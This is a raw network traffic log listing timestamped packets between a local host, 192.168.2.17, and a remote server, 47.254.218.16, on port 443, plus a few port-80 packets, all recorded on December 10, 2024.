Dec 10, 2024 12:48:40.245315075 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.245322943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.245368004 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.254410982 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.397913933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.397943974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.398011923 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.398036003 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.398062944 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.398083925 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.403276920 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.403302908 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.403356075 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.403362989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.403407097 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.408529043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.408545017 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.408605099 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.408611059 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.408657074 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.414452076 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.414467096 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.414520025 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.414524078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.414567947 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.420639038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.420650959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.420703888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.420731068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.420772076 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.420917034 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.426100016 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.426116943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.426177979 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.426198006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.426243067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.432244062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.432260036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.432300091 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.432307005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.432331085 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.432348967 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.437263012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.437279940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.437333107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.437339067 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.437386990 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.445204973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.589986086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.590013027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.590071917 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.590101004 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.590116978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.590142012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.595446110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.595504999 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.595537901 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.595545053 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.595571995 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.595591068 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.600667000 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.600682974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.600748062 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.600754023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.600797892 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.606686115 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.606702089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.606775999 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.606781960 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.606822014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.612592936 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.612608910 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.612654924 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.612660885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.612703085 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.614365101 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.618220091 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.618237972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.618289948 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.618294954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.618333101 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.624248981 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.624264956 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.624308109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.624314070 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.624349117 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.629492044 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.629512072 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.629544973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.629556894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.629575014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.629592896 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.637995958 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.782157898 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.782181978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.782257080 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.782285929 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.782332897 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.787425041 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.787440062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.787518978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.787540913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.787590981 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.793315887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.793330908 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.793417931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.793452024 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.793495893 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.799433947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.799449921 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.799503088 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.799526930 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.799570084 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.804754972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.804775000 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.804835081 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.804858923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.804902077 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.810218096 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.810235023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.810292959 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.810317039 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.810363054 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.816184044 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.816200972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.816234112 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.816258907 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.816274881 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.816293955 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.816903114 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.822244883 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.822261095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.822309017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.822329998 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.822384119 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.881086111 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.974478006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.974504948 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.974597931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.974632025 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.974685907 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.978636980 CET	49682	80	192.168.2.17	192.229.211.108
Dec 10, 2024 12:48:40.979962111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.979979038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.980035067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.980042934 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.980088949 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.985894918 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.985914946 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.985966921 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.985974073 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.986020088 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.991267920 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.991282940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.991348028 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.991353989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.991399050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.997128963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.997145891 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.997195005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.997199059 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.997231007 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.997250080 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.001389027 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.002813101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.002830029 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.002897978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.002903938 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.002975941 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.008713961 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.008735895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.008790970 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.008795977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.008829117 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.008841991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.014748096 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.014765978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.014822006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.014827013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.014868975 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.025201082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.166558981 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.166584015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.166646957 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.166661978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.166697979 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.166722059 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.172189951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.172219038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.172266960 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.172272921 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.172316074 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.177479982 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.177503109 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.177567005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.177573919 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.177620888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.183455944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.183499098 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.183528900 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.183535099 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.183547020 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.183576107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.189378023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.189398050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.189492941 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.189498901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.189543962 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.194230080 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.195071936 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.195095062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.195147991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.195152044 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.195195913 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.195195913 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.201067924 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.201086998 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.201133966 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.201138973 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.201179981 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.206343889 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.206363916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.206432104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.206438065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.206449986 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.206485987 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.218295097 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.282661915 CET	49682	80	192.168.2.17	192.229.211.108
Dec 10, 2024 12:48:41.358814001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.358865023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.358953953 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.358978033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.359029055 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.364389896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.364407063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.364470005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.364478111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.364530087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.370296955 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.370315075 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.370364904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.370371103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.370414019 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.375596046 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.375612974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.375665903 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.375673056 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.375715017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.381633997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.381654978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.381707907 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.381714106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.381759882 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.386584044 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.387320042 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.387336016 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.387388945 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.387394905 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.387454987 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.393280983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.393296957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.393363953 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.393369913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.393414974 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.399137974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.399154902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.399214029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.399220943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.399264097 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.410578966 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.551016092 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.551042080 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.551100969 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.551120043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.551152945 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.551188946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.556595087 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.556611061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.556673050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.556679964 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.556725979 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.562552929 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.562568903 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.562625885 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.562633038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.562664986 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.568527937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.568543911 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.568599939 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.568607092 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.568645954 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.571331024 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.573851109 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.573870897 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.574016094 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.574022055 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.574069023 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.579396963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.579411983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.579474926 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.579484940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.579519033 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.583471060 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.585407019 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.585422039 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.585519075 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.585525036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.585567951 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.591458082 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.591473103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.591536045 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.591540098 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.591584921 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.631480932 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.743772984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.743793011 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.743916035 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.743947029 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.743993044 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.749030113 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.749044895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.749114037 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.749120951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.749167919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.755913973 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.755929947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.756011009 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.756017923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.756062031 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.760999918 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.761019945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.761068106 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.761073112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.761101007 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.761131048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.763300896 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.766109943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.766124964 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.766180038 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.766196012 CET	443	49729	47.254.218.16	192.168.2.17
